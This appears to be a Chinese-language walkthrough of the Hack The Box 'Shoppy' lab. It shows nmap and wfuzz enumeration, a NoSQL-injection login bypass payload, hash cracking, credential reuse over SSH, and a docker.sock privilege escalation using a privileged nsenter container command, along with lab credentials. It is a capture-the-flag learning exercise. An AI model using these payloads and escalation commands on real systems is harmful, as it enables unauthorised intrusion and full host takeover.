OverView
主要考点:
- nosql 注入
- /var/run/docker.sock 写文件提权
Enumeration
Nmap Scan
首先还是先 nmap 扫描
nmap -sV -sC 10.10.11.180
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-03 16:37 CST
Nmap scan report for 10.10.11.180
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
| 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 134.77 seconds
SubDomain Scan
sudo wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains.lst -u "http://shoppy.htb" -H "host:FUZZ.shoppy.htb" --hl 7
没有结果 (结果后面看了题解发现是字典不给力)
Directory Scan
只能走目录扫描了
Nosql Inject
怎么在 Login 页面,说实话我不是很懂为什么非得这样才能登录,尤其是两个等于号,看了题解,题解也没说清楚
admin'||'1'=='1
直接登入
在里面可以搜索用户,继续尝试万能密码
点开附件
用 hashcat 很快爆破出一个
也就是说 josh 的密码是 remembermethisway
但是没有用啊,这个密码又不能 ssh,看了看题解,我的天,是我的子域名没扫描出来,看来以后扫描都得用大字典才行,重新再来,这次用 11 w 行的大字典,我就不信了
sudo wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains-top1mil-110000.txt -u "http://shoppy.htb" -H "host:FUZZ.shoppy.htb" --hl 7
等了好久,还真的没有只能直接用题解的
mattermost.shoppy.htb
查看页面源码,我们可以发现一个 main.xxxx.js,访问一下发现 js.map 文件
用 curl -o 将 js.map 文件下载下来,然后用
$ npm install --global reverse-sourcemap
$ reverse-sourcemap -v 1.js.map -o output
在 output 里面就有源码了,但是对我来说并没有什么用,我不会 js 代码审计,内容太多了。
直接走 dirsearch 目录扫描也没扫出来什么,无奈之下看了题解,我真的服了, /login 路由都没扫出来,什么 dirsearch,那么菜
好,尝试直接爆破出来的账号密码登录,登录成功。
FootHold
进入以后很快发现敏感信息
username:jaeger、password:Sh0ppyBest@pp!
尝试 ssh
ssh [email protected]
登录成功,直接获得第一个 flag
user.txt
sudo -l 输入 ssh 的密码,居然成功了
意思是我们可以以 deploy 的身份运行 password-manager 这个文件
我们直接来到 /home/deploy/ 目录下,password-manager 是可执行文件,其他文件我们读取不了
执行 strings password-manager
可以发现调用了当前目录下的 password-manager.cpp 文件
这里卡了好久,看了题解发现有点 CTF 的味道,需要对文件进行逆向,可以直接使用 IDA 按 F5 获得密码 Sample。掠过了
执行输入 Sample
sudo -u deploy ./password-manager
su deploy 输入密码 Deploying@pp! 就切换到了 deploy 用户
root.txt
然后调用 linpeas.sh 发现存在问题,黄红部分
点开后面的提示链接,发现如果用户拥有对 /var/run/docker.sock 文件的写权限的话,那么可以提权
但是上面两个 payload 均无法成功,原因应该是不出网抓取不到镜像
最后在 https://github.com/carlospolop/hacktricks/blob/master/linux-unix/privilege-escalation/docker-breakout.md 看到可以抓取本地镜像。
docker images
然后执行:
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh
成功提权
End
这个机子总的来说还是比较绕的。尤其是网络不佳的情况下可以耗很久。获得第一个 flag 还算比较容易的,提权真的有点无语。